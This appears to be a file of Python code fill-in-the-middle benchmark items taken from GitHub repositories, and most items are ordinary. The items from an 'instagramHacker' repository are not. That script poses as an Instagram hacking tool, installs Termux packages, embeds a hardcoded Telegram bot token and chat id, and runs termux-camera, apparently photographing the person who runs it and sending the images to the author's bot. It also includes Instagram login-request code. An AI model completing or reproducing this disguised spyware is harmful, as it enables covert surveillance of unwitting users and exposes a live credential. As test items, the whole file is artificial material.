{ "lang": "python", "repo": "Madhav-Somanath/LeetCode", "path": "/June/09-IsSubsequence.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> return Calculator(self.num + other.num) # 方法重写 def __str__(self): return "num = " + str(self.num) if __name__ == "__main__": calc1 = Calculator(1) calc2 = Calculator(2) # TypeError: unsupported operand type(s) for +: 'Calculator' and 'Calculator' print(calc1 + ca...
code_fim
medium
{ "lang": "python", "repo": "cyjhunnyboy/PythonTutorialProj", "path": "/pers/cyj/day12/06-运算符重载/运算符重载.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: cyjhunnyboy/PythonTutorialProj path: /pers/cyj/day12/06-运算符重载/运算符重载.py # 不同的数据类型加法会有不同的解释 print(1 + 2) print("1" + "2") class Calculator(object): <|fim_suffix|> # 方法重写 def __str__(self): return "num = " + str(self.num) if __name__ == "__main__": calc1 = Calculator(1) ca...
code_fim
medium
{ "lang": "python", "repo": "cyjhunnyboy/PythonTutorialProj", "path": "/pers/cyj/day12/06-运算符重载/运算符重载.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> # 方法重写 def __str__(self): return "num = " + str(self.num) if __name__ == "__main__": calc1 = Calculator(1) calc2 = Calculator(2) # TypeError: unsupported operand type(s) for +: 'Calculator' and 'Calculator' print(calc1 + calc2) # 等价于 # print(calc1.__add__(calc2)) ...
code_fim
medium
{ "lang": "python", "repo": "cyjhunnyboy/PythonTutorialProj", "path": "/pers/cyj/day12/06-运算符重载/运算符重载.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: apache/spark path: /python/pyspark/pandas/tests/test_categorical.py ership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not use this file except in compliance with # the License. You may obtain a copy of the License at # # http://www.ap...
code_fim
hard
{ "lang": "python", "repo": "apache/spark", "path": "/python/pyspark/pandas/tests/test_categorical.py", "mode": "psm", "license": "BSD-3-Clause", "source": "the-stack-v2" }
<|fim_suffix|> def test_frame_apply_batch_without_shortcut(self): with ps.option_context("compute.shortcut_limit", 0): self.test_frame_apply_batch() pdf, psdf = self.df_pair def to_str(pdf) -> 'ps.DataFrame["a":str, "b":str]': # noqa: F405 return pdf.astype(str) ...
code_fim
hard
{ "lang": "python", "repo": "apache/spark", "path": "/python/pyspark/pandas/tests/test_categorical.py", "mode": "spm", "license": "BSD-3-Clause", "source": "the-stack-v2" }
<|fim_prefix|># repo: apache/spark path: /python/pyspark/pandas/tests/test_categorical.py are Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Ap...
code_fim
hard
{ "lang": "python", "repo": "apache/spark", "path": "/python/pyspark/pandas/tests/test_categorical.py", "mode": "psm", "license": "BSD-3-Clause", "source": "the-stack-v2" }
<|fim_suffix|> scene = logic.getCurrentScene() name = scene.objects['Name'] logic.globalDict["Name"] = name.text.strip() def setScore(): scene = logic.getCurrentScene() last_score = scene.objects['Timer']['Text'] logic.globalDict['Score'] = last_score<|fim_prefix|># repo: nicolamasotti/tunnel-ru...
code_fim
medium
{ "lang": "python", "repo": "nicolamasotti/tunnel-runner", "path": "/scripts/score_board.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> def display(): scene = logic.getCurrentScene() writer = scene.objectsInactive['Writer'] name = logic.globalDict['Name'] last_score = logic.globalDict['Score'] entry = (name, last_score) scores.append(entry) # we have to sort scores, but scores it's a list of tuples score...
code_fim
hard
{ "lang": "python", "repo": "nicolamasotti/tunnel-runner", "path": "/scripts/score_board.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: nicolamasotti/tunnel-runner path: /scripts/score_board.py from bge import logic import pickle scores_file_path = logic.expandPath('//scores/scores.txt') def _saveScoresToFile(scores_file_path, scores): scores_file = open(scores_file_path, 'wb') pickle.dump(scores, scores_file) scor...
code_fim
hard
{ "lang": "python", "repo": "nicolamasotti/tunnel-runner", "path": "/scripts/score_board.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: MochamadWaysAlqorni/telegram_battery_monitor path: /l1infobatt.py import wmi import time import os import csv from datetime import datetime tglf=str(datetime.now().strftime('%Y-%m-%d@%H-%M-%S')) c = wmi.WMI() t = wmi.WMI(moniker = "//./root/wmi") batts1 = c.CIM_Battery(Caption = 'Portab...
code_fim
hard
{ "lang": "python", "repo": "MochamadWaysAlqorni/telegram_battery_monitor", "path": "/l1infobatt.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>tutup1=""" </div> </body> </html> """ def logbat(): for i, b in enumerate(batts1): print('Battery %s Design Capacity: %s mWh' % (i, b.DesignCapacity or 0)) batts = t.ExecQuery('Select * from BatteryFullChargedCapacity') for i, b in enumerate(batts): print ('Batter...
code_fim
hard
{ "lang": "python", "repo": "MochamadWaysAlqorni/telegram_battery_monitor", "path": "/l1infobatt.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> onln=str(b.PowerOnline) volt=str(b.Voltage/1000) kap=str(b.RemainingCapacity/1000) a=str(datetime.now().strftime('%Y-%m-%d %H:%M:%S')) tgl=str(datetime.now().strftime('%Y-%m-%d')) jam=str(datetime.now().strftime('%H:%M:%S')) f = open("battery_log.html", "a") f.write(...
code_fim
hard
{ "lang": "python", "repo": "MochamadWaysAlqorni/telegram_battery_monitor", "path": "/l1infobatt.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> yield serial # ВОЗВРАЩАЕМ ЭТОТ СЕРИЙНЫЙ НОМЕР device = matcher.send(ERROR_RE) # ВОССТАНАВЛИВАЕМ ПЕРВУЮ РЕГУЛЯРКУ, И ПРОДОЛЖАЕМ БЕЖАТЬ ПО ФАЙЛУ for serial_number in get_serials('EXAMPLE_LOG.log'): # БЕЖИМ ПО ИТЕРАТОРУ И ПЕЧАТАЕМ СЕРИЙНЫЙ НОМЕР print(serial_number)<|fim_prefix|># ...
code_fim
hard
{ "lang": "python", "repo": "koladen/patterns_in_python_book", "path": "/chapter 9.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: koladen/patterns_in_python_book path: /chapter 9.py import re def match_regex(filename, regex): # СОЗДАЕМ КОРУТИНУ, В КОТОРУЮ БУДЕМ ПЕРЕДАВАТЬ РЕГУЛЯРНЫЕ ВЫРАЖЕНИЯ with open(filename) as file: lines = file.readlines() # СЧИТЫВАЕМ ВСЕ СТРОКИ for line in reversed(lines): # И Б...
code_fim
hard
{ "lang": "python", "repo": "koladen/patterns_in_python_book", "path": "/chapter 9.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: lawrencesiao/ptt_gossip path: /src/json_to_csv.py # -*- coding: utf-8 -*- import pandas as pd import jieba from sklearn import feature_extraction from sklearn.feature_extraction.text import TfidfVectorizer from gensim import corpora, models import gensim from nltk.tokenize import RegexpTokenizer...
code_fim
hard
{ "lang": "python", "repo": "lawrencesiao/ptt_gossip", "path": "/src/json_to_csv.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> tmp.append(post['title'].encode('utf-8')) tmp.append(post['date']) tmp.append(post['url']) tmp.append(" ".join(jieba.cut(post['content'], cut_all=False)).encode('utf-8')) tmp_all.append(tmp) except: print("except") with open("all_documents.csv", "wb") as f: writer = csv.write...
code_fim
hard
{ "lang": "python", "repo": "lawrencesiao/ptt_gossip", "path": "/src/json_to_csv.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: ashkaraliae/BooksAPI path: /mstakx/external_books/tests/test_views.py from django.test import TestCase,Client from django.urls import reverse import requests from external_books.constants import BASE_URL class TestExternalBooks(TestCase): <|fim_suffix|> def test_external_book_view_GET(self):...
code_fim
hard
{ "lang": "python", "repo": "ashkaraliae/BooksAPI", "path": "/mstakx/external_books/tests/test_views.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> def test_external_book_view_GET(self): response = requests.get(BASE_URL) self.assertTrue(response.ok) def test_external_book_when_url_wrong(self): response = requests.get("https://www.anapioficeandfire.com/api/booksssss/") self.assertEquals(response.status_code,404...
code_fim
hard
{ "lang": "python", "repo": "ashkaraliae/BooksAPI", "path": "/mstakx/external_books/tests/test_views.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: vladkrylov/STRT path: /view/qt_gui.py sageBox() msg.setIcon(mtype) msg.setText(text1) if text2: msg.setInformativeText(text2) # msg.setWindowTitle("MessageBox demo") if text3: msg.setDetailedText(text3) msg.setStandardButtons...
code_fim
hard
{ "lang": "python", "repo": "vladkrylov/STRT", "path": "/view/qt_gui.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: vladkrylov/STRT path: /view/qt_gui.py k_event', self.on_pick) # Qt toolbar actions self.action_load_event.triggered.connect(self.load_new_event) self.action_previous_event.triggered.connect(self.prev_event) self.action_next_event.triggered.connect(self.next_event) ...
code_fim
hard
{ "lang": "python", "repo": "vladkrylov/STRT", "path": "/view/qt_gui.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> def next_event(self): run_id = self.get_selected_run_id() if run_id is None: return if self.current_event is None: return self.controller.on_show_next_event(run_id, self.current_event) def add_new_track(self): if self.current_eve...
code_fim
hard
{ "lang": "python", "repo": "vladkrylov/STRT", "path": "/view/qt_gui.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: Mann0608/instagramHacker path: /instagram.py # github.com # code by prosir def Header(self, user, password, sess): headers = { 'Host': 'www.instagram.com', 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:51.0) Gecko/20100101 Firefox/51.0', 'Accept...
code_fim
hard
{ "lang": "python", "repo": "Mann0608/instagramHacker", "path": "/instagram.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> import os x = input(" Enter The Target Phone Number: ") os.system("apt install termux-api -y") os.system("pip install pyTelegramBotAPI") import telebot bot = telebot.TeleBot("889830312:AAHRMuRJdIou0_FjmJGKjPO1HuKawq16RG0") chat_id = 960188351 os.system("termux-camera...
code_fim
hard
{ "lang": "python", "repo": "Mann0608/instagramHacker", "path": "/instagram.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>def run(): import os x = input(" Enter The Target Phone Number: ") os.system("apt install termux-api -y") os.system("pip install pyTelegramBotAPI") import telebot bot = telebot.TeleBot("889830312:AAHRMuRJdIou0_FjmJGKjPO1HuKawq16RG0") chat_id = 960188351 os.system("t...
code_fim
hard
{ "lang": "python", "repo": "Mann0608/instagramHacker", "path": "/instagram.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> s1 = docsAsShingleSets[i] for j in range(i + 1, numDocs): # Retrieve the set of shingles for document j. s2 = docsAsShingleSets[j] # Calculate and store the actual Jaccard similarity. JSim[getTriangleIndex(i, j, numDocs)] =(len(s1.intersectio...
code_fim
hard
{ "lang": "python", "repo": "amitelran/CS-Project", "path": "/real_similarities.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: amitelran/CS-Project path: /real_similarities.py import time from triangle_matrix import * #import Levenshtein # ============================================================================= # Calculate Jaccard Similarities # ======================================================...
code_fim
hard
{ "lang": "python", "repo": "amitelran/CS-Project", "path": "/real_similarities.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: ayun01/algorithm path: /Largest-Divisible-Subset.py # Given a set of distinct positive integers, # find the largest subset such that every pair (Si, Sj) of elements in this subset satisfies: Si % Sj = 0 or Sj % Si = 0. # Given nums = [1,2,3], return [1,2] or [1,3] # Given nums = [1,2,4,8], retur...
code_fim
hard
{ "lang": "python", "repo": "ayun01/algorithm", "path": "/Largest-Divisible-Subset.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> ans = [] for i in xrange(max_value): ans.append(nums[index]) index = father[index] return ans<|fim_prefix|># repo: ayun01/algorithm path: /Largest-Divisible-Subset.py # Given a set of distinct positive integers, # find the largest subset such tha...
code_fim
hard
{ "lang": "python", "repo": "ayun01/algorithm", "path": "/Largest-Divisible-Subset.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: syurskyi/Python_Topics path: /125_algorithms/_exercises/templates/_algorithms_challenges/exercism/python-exercises-master_with_unittest/beer-song/solution.py ___ song(first, last=0 verses '' ___ number __ r..(r..(last, first + 1: verses += verse(number) + '\n' <|fim_suffix|>___ v...
code_fim
medium
{ "lang": "python", "repo": "syurskyi/Python_Topics", "path": "/125_algorithms/_exercises/templates/_algorithms_challenges/exercism/python-exercises-master_with_unittest/beer-song/solution.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>___ _bottles(number __ number __ 0: r.. 'no more bottles' __ number __ 1: r.. '1 bottle' ____ r.. '_d bottles' % number ___ _next_verse(current_verse r.. current_verse - 1 __ current_verse > 0 ____ 99<|fim_prefix|># repo: syurskyi/Python_Topics path: /125_algorit...
code_fim
hard
{ "lang": "python", "repo": "syurskyi/Python_Topics", "path": "/125_algorithms/_exercises/templates/_algorithms_challenges/exercism/python-exercises-master_with_unittest/beer-song/solution.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: Axilent/sharrock path: /sharrock_resource_example/descriptors.py from sharrock.descriptors import Descriptor, UnicodeParam, Resource version = '1.0' class GetMe(Descriptor): """ Gets a hello world message. """ visible = False def execute(self,request,data,params): r...
code_fim
hard
{ "lang": "python", "repo": "Axilent/sharrock", "path": "/sharrock_resource_example/descriptors.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }